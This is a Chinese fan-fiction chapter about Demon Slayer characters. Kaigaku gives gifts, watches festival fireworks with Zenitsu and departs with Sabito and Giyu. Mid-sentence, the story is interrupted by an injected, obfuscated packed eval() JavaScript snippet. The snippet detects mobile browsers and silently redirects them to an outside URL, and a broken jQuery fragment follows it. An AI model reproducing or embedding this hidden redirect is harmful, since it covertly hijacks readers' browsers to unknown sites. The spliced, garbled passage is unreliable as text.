善逸和桑岛慈悟郎站在桃山等待狯岳的归来,看到风尘仆仆回家的狯岳,善逸哗地就要扑上去,结果被眼疾手快的狯岳拽住了领子。
“笨蛋!没看到我身上脏兮兮的吗?!”在藤袭山呆了七天的狯岳已经对自己忍无可忍了,要不是在山上的时候担心会污染水源,他早就在小溪里洗澡了。
“呜呜呜,师兄能够完好无损地回来真是太好了!”善逸两眼汪汪。
“蠢货。”狯岳无奈地掏出手帕给他擦干净泪水:“记得下次做饭团少加点糖。”
他最终在善逸师兄把饭团都吃掉了吗?师兄果然是在意我的吵闹声中沐浴上床,最后不耐烦地将黄色脑袋塞进被子里让他安静下来睡觉。
狯岳呆在桃山的最后一段时光,连空气都浸透着桃子的清香。
当刀匠将日轮刀送过来以后,狯岳握起日轮刀,看着他如同曾经无数次一样出现黑色的底色和蓝色的雷纹。他收起日轮刀,将它整齐地收了起来,选择继续用陪伴他许久的断刃。
在桑岛慈悟郎难以置信的目光中,狯岳解释道:“反正这玩意也能杀死鬼,我用着顺手。”
“欸?!那师兄在桃山多呆这几天是为了什么?”
“废物,你就没有发现吗?”狯岳取出了三个沉甸甸的包裹。
一正式进入鬼杀队,鬼杀队就会提前发下第一个月的薪水,而这个薪水在城市中也是让人艳羡的,所以鬼杀队也会有许多为了赚钱和出人头地才去杀鬼的家伙。
他在回桃山的路上,就托山下的裁缝缝制了三件崭新的浴衣。
“给你的,赶紧拆开看看。”狯岳把其中一个包裹扔进善逸怀里,善逸拆开一看,竟然是一件崭新的、绣着金色雷纹的浴衣。
桑岛慈悟郎也得到了一件棕色的浴衣,他开心地就要搂上他的大徒弟,结果被狯岳躲开了。
“哇啊啊啊!师兄竟然送给了我礼物!我要穿这件浴衣一辈子!”
“哇啊啊啊!大徒弟竟然送了我礼物!我也要穿这件浴衣一辈子!”
桑岛慈悟郎和善逸感动地搂在了一起。
“不要吵了你们两个,赶紧换上!”
狯岳等着他们换好衣服,也穿上了一件漂亮的蓝色雷纹浴衣。
今天晚上正是狯岳呆在桃山的最后一晚,也是夏祭的最后一天。
嬉笑的人群、喧闹的夜市,烟花在夜空中绽放,金色的光影映照到每一张洋溢的笑脸上。桑岛慈悟郎跑到前面的摊位去给可爱的徒弟们买稠鱼烧了,善逸和狯岳并肩走在后面。
善逸渴望的目光停留在一个摊子前,狯岳顺着看过去,发现那是一个捞金鱼的摊位。
他瞥了善逸一眼,直接迈向摊位,买了几个纸网塞到了善逸手里。
“呜哇师兄!你对我真的太好了,等我以后拿到了鬼杀队工资也要给你花!”
善逸蹲到水池旁,努力地用纸网捞着金鱼,但他速度很快却用力过度,手里的纸网还没捞起金鱼就破掉了。
“呜啊啊啊!又破了!师兄这个金鱼绝对在针对我啊!你看它都对我翻肚子了啊,绝对是看不起我啊可恶!”
“闭嘴,废物,那是你用力太猛了。”
狯岳蹲到他身边,虽然还是一副冷峻的神情,但在周围金红光线的映射下多了一丝温柔。他的手稳稳地握着纸网,轻轻一甩,一只火红的金鱼就被他稳稳地抄进了小提桶中。
“哇!好厉害!”善逸凑过来满眼崇拜:“哎,师兄你先别走,我还想要那只黑色的!”
善逸最后提着收获满满的小桶,和师兄挤在人流中看烟花。
周围人潮涌动,扰人的嬉闹声中善逸却能清晰地听到他快如锣鼓的心跳声,他小心翼翼地看着师兄帅气的侧颜,悄悄地、一点点地探出空着的那只手,最后大着胆子抓住了师兄温热的手掌。
原以为会被立刻甩开,可下一秒狯岳竟然回握了他的手。
“师兄?”善逸愣住了。
“这是我答应和你一起看的烟花,这次补上了…”
狯岳抬头看向天空绚烂的烟花:“不要总是一副担惊受怕的样子,我很强,藤袭山奈何不了我,也没有鬼可以杀死我。”
“我会成为鸣柱,我们也会一起活下去,直到结束这场无聊的轮回。”
绚烂的烟火又一次在空中绽放,映照出狯岳脸上少见的笑容,深深地停留在了善逸的心中。
善逸终于露出了这几天以来最真心的笑容:“我也不会落后的!我也会尽快变强,追上你的步伐!”
“那…师兄,”善逸得寸进尺地把脸蹭过来:“明年的烟花,你也得回来陪我一起看,还有过年也得回桃山和我一起过!”
“啧,麻烦死了,”狯岳别过脸:“我没任务的话也能勉强回来看看你。”
善逸想起来在幽静的月色下,师兄对着没有记忆的他说的那个一起看烟花的诺言,突然又意识到什么。
“等等!”他语气变得强硬:“师兄你之前答应失忆的我一起看烟花,是不是因为读了我寄给你的信?我记得我以前每年夏祭前都要给你寄信邀请你去看烟花,你看了还一封信都没回我!一封都没有!你甚至骗一无所知的我把我哄得团团转!”
狯岳身体僵硬了一下,他心虚地想要甩开善逸的手:“那些写满废话的东西…谁有空看。”
“你撒谎!你明明知道我想要看烟花!”善逸爆发了莫大的勇气,他的手像钳子一样抓着狯岳不放:“既然看了为什么不回?你知不知道我每天都在等回信却从来都没有收到过?!”他气得眼泪都要落下来了。
不想被搅坏好心情的狯岳只得伸出手抹去了他的眼泪:“好吧好吧,我给你回信可以了吧。”
“从明天离开以后开始!每一封信你都要回!而且,不可以只回一个‘滚’字!”善逸不依不挠。
“行了行了,我回。”狯岳咬牙切齿地答应了,不过他随即报复性地拽着善逸的两颊:“但是如果你敢在信里写什么‘今天遇到了漂亮的女孩子想和她结婚’‘那个女孩子喜不喜欢我’这种废话,我就回来狠狠地揍你一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057446|194822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顿,听明白了吗?”
“呜哇!我发誓!我就是写师兄想不想和我结婚,也不会写那种话的!”
“这种话也不可以写!蠢货!”
就在他们“甜甜蜜蜜”的时候,身后出现了一道提着稠鱼烧的矮小身影。
“喂,你们两个混小子,知道老夫买完稠鱼烧找了你们多久吗?!老夫在那里辛辛苦苦地找你们,你们两个在这里牵着手交流感情吗可恶啊!”
“哇!快跑啊师兄!”善逸拉着狯岳在人群中乱窜,背后桑岛慈悟郎紧追不舍。
美好的夏夜总是易逝的,他们终究要迎来长久的分别。
第二天早晨,在桃山小径的尽头,两个穿着鬼杀队队服的少年正静静等待。
锖兔穿着队服和白色的羽织,腰间挎着新领的日轮刀,正笑着朝这边挥手。而义勇换上了外侧黄绿格纹,内侧红色的羽织,脸上已经褪去了藤袭山时的迷茫,站在锖兔身旁微笑着。
“师兄…那是…”原本正依依不舍地拽着狯岳袖子送别的善逸,看到这两个熟悉的家伙,整个人猛地愣住了。
“啊!为什么和他们一起?!”善逸发出刺耳的惊叫,锖兔不由地感慨:这小子的嗓门比在狭雾山上更大了。
善逸可没忘记在狭雾山上的时候,这个桃色头发的家伙和师兄聊得有多投机,还讲鬼故事吓唬他逗他玩!
“哈?你瞎叫唤什么?”狯岳嫌他在他未来的队友面前丢人。
“肯定是我们啊,善逸。”锖兔走上前,自来熟地揽住狯岳的肩膀,对着善逸露出一个灿烂得有些刺眼的笑容:“主公大人说了,我们三个人是这一届选拔中最强的,所以特意安排我们组成小队执行任务。”
离得太近了啊!!善逸危机感爆棚,他深吸一口气突然将狯岳拽到身旁,一脸严肃地开始输出:“听好了师兄!鬼杀队的制服一定要把最上面的扣子也扣起来!锁骨也不可以漏出来!”
“还有,平时不要单穿制服,那个衣服太紧身了啊!要把羽织裹好,还有离所有人类啊还有鬼,都保持三米以上的安全距离!”
善逸越说越来劲:“到了休息的紫藤花之家,不可以光着上半身练剑,在桃山以外的地方也不可以穿着低领的和服到处跑!”
“…你是哪里来的唠叨老妈子吗?!”
砰!
狯岳终于忍无可忍,一个爆栗砸在了善逸的脑门上,阻止了他的喋喋不休。
“闭嘴!不要再丢人了!我是你师兄,不是你未过门的老婆!”狯岳暴躁地骂着,被锖兔和义勇用一种诡异的眼神盯着,饶是他耳根也红了一大片。
他转过身,对着桑岛慈悟郎重重地鞠了一躬,提着行李走向他的伙伴。
“哈哈哈,被师弟管得真严呢。”锖兔打趣道。
善逸捂着头上肿起的大包,突然对着狯岳的背影大喊:“师兄!一定要注意安全啊!记得每天都给我回信!你在鬼杀队等着我,我马上就会通过藤袭山选拔去找你的!!”
“笨蛋。”狯岳低声说。